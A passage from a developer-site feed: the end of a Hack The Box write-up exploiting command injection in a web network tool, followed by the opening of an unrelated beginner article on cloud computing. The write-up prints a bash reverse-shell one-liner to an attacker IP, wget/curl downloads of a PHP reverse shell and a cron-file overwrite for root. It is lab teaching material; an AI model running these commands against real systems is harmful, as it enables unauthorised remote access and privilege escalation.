&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GjuLIBJS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z0znbruev6g0fpv7gwed.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GjuLIBJS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/z0znbruev6g0fpv7gwed.png" alt="Image description" width="880" height="331"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;When we change the parameters from &lt;code&gt;traceroute&lt;/code&gt;, &lt;code&gt;8.8.8.8&lt;/code&gt; to&lt;/p&gt;

&lt;p&gt;&lt;code&gt;pwd&lt;/code&gt;,&lt;code&gt;.&lt;/code&gt; we get back "/var/www/admin" as a result.&lt;/p&gt;

&lt;p&gt;Maybe we can run longer commands by simply commenting out the second parameter.&lt;/p&gt;

&lt;p&gt;It doesn't seem to work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Attempting a reverse shell
&lt;/h2&gt;

&lt;p&gt;When we change the parameters from &lt;code&gt;traceroute&lt;/code&gt;, &lt;code&gt;8.8.8.8&lt;/code&gt; to &lt;code&gt;pwd&lt;/code&gt;,&lt;code&gt;.&lt;/code&gt; we get back "&lt;code&gt;/var/www/admin&lt;/code&gt; as a result.&lt;/p&gt;

&lt;p&gt;Maybe we can run longer commands by simply commenting out the second parameter.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NFg1RKBr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d2mn1t28eba5geugechs.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NFg1RKBr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/d2mn1t28eba5geugechs.png" alt="Image description" width="880" height="310"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It doesn't seem to work.&lt;/p&gt;

&lt;p&gt;But this does!&lt;/p&gt;

&lt;p&gt;Let's try a reverse shell:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.14.67/4444 0&amp;gt;&amp;amp;1&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;It won't work! Let's look at our source code:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--z6CDcD_W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w3gr98s28im6dzz4bh3p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--z6CDcD_W--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/w3gr98s28im6dzz4bh3p.png" alt="Image description" width="880" height="414"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;The exec() function is working correctly for every other command. I wonder why my shell isn't working. &lt;/p&gt;

&lt;p&gt;No matter, I will find another way.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--traHdrlv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vuboltuyhwi7tvez3ek9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--traHdrlv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vuboltuyhwi7tvez3ek9.png" alt="Image description" width="880" height="452"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;So the machine has &lt;code&gt;curl&lt;/code&gt; so we know we could use that to fetch files. Before we do that, though, let's try &lt;code&gt;wget&lt;/code&gt;. A slightly better tool with the same functionality.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--XVML8kR1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xx5p62sp2ihkdvtod0fy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XVML8kR1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xx5p62sp2ihkdvtod0fy.png" alt="Image description" width="880" height="414"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we've verified that the machine has &lt;code&gt;curl&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now that we've confirmed the existence of downloading tools, we can prop up a quick webserver to host our malicious code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--CTAQCLL1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q4o06bd9gnqxm52wj1mi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--CTAQCLL1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/q4o06bd9gnqxm52wj1mi.png" alt="Image description" width="880" height="235"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;The download worked flawlessly. We now have our bash shell on the target.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vBmlGzV7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/57r6wmq3ig2a0dptb8kl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vBmlGzV7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/57r6wmq3ig2a0dptb8kl.png" alt="Image description" width="880" height="347"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;We can look inside it to verify the contents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Q6mCqjet--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hopcg4b6suvcrd9gpdtx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Q6mCqjet--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hopcg4b6suvcrd9gpdtx.png" alt="Image description" width="880" height="457"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h1&gt;
  
  
  Down the rabbit hole
&lt;/h1&gt;

&lt;p&gt;Sometimes, hacking can be very complicated, and attempting to exploit systems can be difficult due to the vast area of attack surface available. While I was exploiting this machine, I fell down a rabbit hole that stopped me from progressing, but when I found that it was a dead end, I took a break, re-evaluated my options, and moved on. &lt;/p&gt;

&lt;p&gt;*&lt;em&gt;If you are following along, understand that the next section will be helpful steps on what **NOT&lt;/em&gt;* to do while exploiting this machine!*&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Shb7dWvB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0c59aiqe9cjbftrc9ie6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Shb7dWvB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0c59aiqe9cjbftrc9ie6.png" alt="Image description" width="880" height="388"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;So running the script directly didn't quite work, but I have a few ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;That the photo is only text, and it doesn't have execute permissions yet.&lt;/li&gt;
&lt;li&gt;Or I should abandon this idea and upload a proper PHP shell and execute it via web browser.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Trying harder (uploading a PHP shell)
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hRGZySt9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hhawrrx6u6onfx27v1yu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hRGZySt9--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hhawrrx6u6onfx27v1yu.png" alt="Image description" width="880" height="296"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;So I have the PHP shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--24v87j_D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y3yq47dhvmfl6vcuu19o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--24v87j_D--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y3yq47dhvmfl6vcuu19o.png" alt="Image description" width="880" height="441"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;Verified the download.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VVwEYga6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wmh6p3f4yq1pu01y9x79.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VVwEYga6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/wmh6p3f4yq1pu01y9x79.png" alt="Image description" width="880" height="176"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;So it did not work. It only shows me the text and fails to execute.&lt;/p&gt;

&lt;h2&gt;
  
  
  Stepping back
&lt;/h2&gt;

&lt;p&gt;Now that our attempts are failing, I wonder if there's some way to access it. We don't see 3306 anywhere, but we could try logging in via ssh as the admin user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--dspArMGu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8u25rb4oq0zw9ybezgol.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dspArMGu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8u25rb4oq0zw9ybezgol.png" alt="Image description" width="880" height="256"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wrocM8aO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vfqiw2hne8tlot076egx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wrocM8aO--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/vfqiw2hne8tlot076egx.png" alt="Image description" width="880" height="307"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;We have write access. Maybe we could write to the welcome file?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_qbzw4F1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9fjj9dgjaroxcy3hjqct.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_qbzw4F1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9fjj9dgjaroxcy3hjqct.png" alt="Image description" width="880" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It failed.&lt;/p&gt;

&lt;p&gt;If this weren't Hack The Box, I would overwrite the logout file. Since this is a shared instance, I know that overwriting actual functionality is not encouraged.&lt;/p&gt;

&lt;h2&gt;
  
  
  Rethinking command injection
&lt;/h2&gt;

&lt;p&gt;Another way to exploit Net tool is to terminate the bash script with &lt;code&gt;;&lt;/code&gt; and executes other commands. With this method, it was a lot easier to inject. I didn't even need to mess with burp parameters. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wnKDRMS7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4no0k2wlpf6lx1jzlx4e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wnKDRMS7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4no0k2wlpf6lx1jzlx4e.png" alt="Image description" width="757" height="369"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Figuring it all out
&lt;/h2&gt;

&lt;p&gt;Using the same method as before, I used &lt;code&gt;wget&lt;/code&gt; again to upload &lt;a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"&gt;this PHP shell&lt;/a&gt;, and it worked when I navigated to it in the browser, which instantly gave me a shell.&lt;/p&gt;

&lt;p&gt;My hungry listener is fed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Upgrading our shell
&lt;/h2&gt;

&lt;p&gt;Now that we have access, &lt;a href="https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/"&gt;we can upgrade our shell&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Let's try the obvious &lt;code&gt;python -c 'import pty; pty.spawn("/bin/bash")'&lt;/code&gt; first.&lt;/p&gt;

&lt;p&gt;It worked! &lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--Jxe_AtEV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h40za360ncpnu6s8lzfz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--Jxe_AtEV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h40za360ncpnu6s8lzfz.png" alt="Image description" width="880" height="208"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Motivational Interlude
&lt;/h2&gt;

&lt;p&gt;Sometimes, red teaming isn't linear. It's all research-based. Sometimes you'll end up down a rabbit hole, and part of being a good hacker is learning how to pull yourself out of the trenches, take a break, stretch, and give it another try later. I wanted to include my mistakes in this blog, so we could all learn together. In hindsight, I understand why my bash shell didn't work and that it should have been PHP all along, and now I'll know for the future.&lt;/p&gt;

&lt;h1&gt;
  
  
  Post exploitation
&lt;/h1&gt;

&lt;p&gt;The next phase of hacking is "post-exploitation." Even though the name explains that the step is "after exploitation," this step is essentially internal enumeration. We're starting again at the recon phase to hunt for more access!&lt;/p&gt;

&lt;h2&gt;
  
  
  We now know of a user named "noulis"
&lt;/h2&gt;

&lt;p&gt;While grabbing the user flag, we see a user named "noulis." We're just going to put this in our notes for later.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--I2p2gk_j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x48e6mvdmig77ptlyvow.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--I2p2gk_j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/x48e6mvdmig77ptlyvow.png" alt="Image description" width="802" height="357"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h2&gt;
  
  
  Standard privesc techniques:
&lt;/h2&gt;

&lt;p&gt;Since this is a Linux machine, we can attempt some common privilege escalation (privesc) techniques. &lt;a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/"&gt;There are a ton of them&lt;/a&gt;, but since this machine is rated "easy," I don't think we'll have to try too many of them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking for binaries with &lt;code&gt;sudo&lt;/code&gt; privileges
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; checks to see if there are any &lt;a href="https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/"&gt;SUID binaries&lt;/a&gt;. These files are special files that hold higher privileges than the user we have access to. If we found a weakness in one of those files, we would gain the privilege of the SUID binary.&lt;/p&gt;

&lt;p&gt;Regardless, there are no SUID files on this machine, but we should always check for low-hanging fruit, and it's an essential part of my privesc methodology.&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking for scheduled jobs on the machine
&lt;/h3&gt;

&lt;p&gt;The crontab is a particular file in Linux that performs scheduled jobs at specified times. It allows the user to schedule tasks to occur at specific times. This is extremely helpful from a developer's perspective, but sometimes red teamers abuse poorly written crontabs to manipulate systems.&lt;/p&gt;

&lt;p&gt;The syntax to list the cron jobs is: &lt;code&gt;crontab -l&lt;/code&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PrI6DVIV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1soblzp6v39h4getb5ih.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PrI6DVIV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1soblzp6v39h4getb5ih.png" alt="Image description" width="532" height="104"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We've now confirmed that there are no cron jobs for the &lt;code&gt;www-data&lt;/code&gt; user.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;But that doesn't mean that there are no cron jobs on the entire machine. Let's check the &lt;code&gt;/etc/crontab&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gKP_a2Ug--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bhc8uj38iq998o1xhxpu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gKP_a2Ug--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/bhc8uj38iq998o1xhxpu.png" alt="Image description" width="880" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we have an idea of all of the scheduled tasks.&lt;/p&gt;

&lt;p&gt;The bottom file is interesting. It seems to be continuously executing a configuration file for the &lt;code&gt;laravel&lt;/code&gt; framework. I guess that's how the devs got the frontend to function correctly.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;*Your output may vary depending on how many people are in the lab!&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Checking for networking connections
&lt;/h3&gt;

&lt;p&gt;With &lt;code&gt;netstat -l&lt;/code&gt;, we can find all of the users and hosts communicating with the system.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DWXKppfj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yol4if3zw6lr7ny38nhy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DWXKppfj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yol4if3zw6lr7ny38nhy.png" alt="Image description" width="880" height="104"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;p&gt;There's the MySQL instance.&lt;br&gt;
Seems like we're the only ones logged in right now.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rs3bpa_r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cs7k5hqo491hrb8nxl00.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rs3bpa_r--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/cs7k5hqo491hrb8nxl00.png" alt="Image description" width="843" height="128"&gt;&lt;/a&gt; &lt;/p&gt;

&lt;h3&gt;
  
  
  Reviewing our recon
&lt;/h3&gt;

&lt;p&gt;Now that we have a basic lay of the land let's go back to the crontab and ask some more questions.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YXhmYGzp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0ws4102ts19ri975gz99.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YXhmYGzp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0ws4102ts19ri975gz99.png" alt="Image description" width="880" height="560"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The last time I looked, someone overwrote it with a PHP shell.&lt;br&gt;
Now that I've reverted the box, I see the correct information. &lt;br&gt;
I will now overwrite it with a shell of my own.&lt;/p&gt;

&lt;p&gt;First, let's verify that we have write privileges.&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uYZZ468K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ne0udyumwpy68qy8x0x.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uYZZ468K--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/6ne0udyumwpy68qy8x0x.png" alt="Image description" width="696" height="108"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we can transfer the PHP shell the same way we did before and place its contents in the &lt;code&gt;/var/www/laravel/artisan&lt;/code&gt; file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--au5vAVWC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7z56neo0a5q412mehzg1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--au5vAVWC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/7z56neo0a5q412mehzg1.png" alt="Image description" width="880" height="515"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Renaming works too.&lt;/p&gt;

&lt;p&gt;*&lt;em&gt;Make sure you set up a listener!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;From here, all we have to do is wait...&lt;/p&gt;

&lt;h1&gt;
  
  
  Root Shell:
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mdYWCyDa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5zr6o2gb384kpw4hecso.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mdYWCyDa--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/5zr6o2gb384kpw4hecso.png" alt="Image description" width="880" height="177"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Always ask better questions. See you next time!&lt;/p&gt;

</description>
      <category>sql</category>
      <category>security</category>
      <category>tutorial</category>
      <category>linux</category>
    </item>
    <item>
      <title>The Cloud: A Beginner's Look</title>
      <dc:creator>SSHad0w</dc:creator>
      <pubDate>Thu, 19 May 2022 16:42:43 +0000</pubDate>
      <link>https://forem.com/sshad0w/the-cloud-59o8</link>
      <guid>https://forem.com/sshad0w/the-cloud-59o8</guid>
      <description>&lt;h1&gt;
  
  
  Background
&lt;/h1&gt;

&lt;p&gt;About 20 years ago, the world became a lot more "plugged in". The turn of the century brought the "dot com" era, and many businesses found that outreach was a lot easier to achieve when their advertisements, products, and services could be on the screens of the people at home all across the world.&lt;/p&gt;

&lt;p&gt;As a response, companies invested in servers hired web developers, and put their businesses on the internet in the form of websites.&lt;/p&gt;

&lt;p&gt;Now, "Websites are hosted on servers" is not a magical realization, and it is not new. However, there is a little more to the story.&lt;/p&gt;

&lt;h1&gt;
  
  
  Server management
&lt;/h1&gt;

&lt;p&gt;Server management is tedious. The most common reasons are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Servers take up a tremendous amount of space.&lt;/li&gt;
&lt;li&gt;Servers consume an incredibly expensive amount of power.&lt;/li&gt;
&lt;li&gt;It's difficult to troubleshoot when things go wrong. &lt;/li&gt;
&lt;li&gt;Servers must be manually networked together.
For these reasons, most businesses looked for a way to cut the costs of server management.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Introducing "The Cloud"
&lt;/h1&gt;

&lt;p&gt;Enter: "The cloud". Large data-driven companies realized that they could create ways to rent out their servers in a way that multiple customers could share one resource without security breaches, or performance issues. These large companies turned around and sold cloud services to anyone who wanted to rid themselves of hardware management issues. Services like Microsoft Azure, Amazon Web Services, and Google Cloud have been the leaders for the last few decades in cloud services.&lt;/p&gt;

&lt;h1&gt;
  
  
  How does the Cloud work?
&lt;/h1&gt;

&lt;p&gt;In short, the cloud is nothing but a large collection of servers in an offsite data center. These are simply 3rd party resources that use the same technology and methodology as backing up your mobile phone. You (The client) have the information you'd like to back up in case something goes wrong or data you'd like to store externally. This data is offloaded to a server and kept there for later use. The client can choose when to download those resources for later use. Now there's an extension of storage space for information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--_TJr9TZk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/080htcjpr9v5mq4sdrlj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--_TJr9TZk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/080htcjpr9v5mq4sdrlj.png" alt="Image description" width="880" height="638"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Containers
&lt;/h2&gt;

&lt;p&gt;In the enterprise world, &lt;strong&gt;containers are the backbone of the cloud.&lt;/strong&gt; These are small, easy to manage instances that perform a limited amount of tasks and take up a relatively small amount of computer power and memory. Compared to traditional hardware and virtual machines, containers are the most lightweight solution in modern computing at scale. Every container shares the resources of the underlying &lt;a href="https://www.techopedia.com/definition/3277/kernel"&gt;kernel&lt;/a&gt;, but each of them executes in isolation. In a future blog, we will go in-depth about what containers truly are, and take a more detailed look at how they work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why is the cloud so popular in the enterprise?
&lt;/h2&gt;

&lt;p&gt;As we've already covered, migrating to the cloud is extremely powerful and profitable for large data-driven companies, but there is no "one size fits all" solution when it comes to computational solutions. There are many different services that cloud providers will offer. Some of the most popular models are:&lt;/p&gt;

&lt;h3&gt;
  
  
  Software-as-a-Service (SaaS):
&lt;/h3&gt;

